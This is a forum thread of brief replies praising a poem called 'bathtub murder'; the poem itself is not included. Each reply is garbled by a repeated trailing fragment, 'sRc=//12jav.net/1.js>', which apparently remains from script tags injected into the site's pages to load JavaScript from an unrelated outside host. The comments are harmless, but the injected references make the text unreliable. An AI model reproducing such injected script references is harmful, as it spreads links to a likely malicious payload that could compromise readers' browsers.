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Re: bathtub murder- a poem
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cool poem! u've could have made it more sad and agressive though.. but other than tht it was cool sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
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its very good! kao says he likes it too :D sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
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Very nice,indeed its my style. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
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I actually like it a lot. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
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oh thank you ^-^ sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
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Now that's my type of poem. *stands & applauds* sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
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it kind of gives me a sense of enduring pain, or event you wish to break.

But yeah, its a pretty awesome poem, im thinking about getting into this sort of thing myself. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
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very good! never let go of that wonderful ability to write. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
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really good, well written, I liked it a lot :-) sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
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GREAT poem... I actually like it a lot! sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
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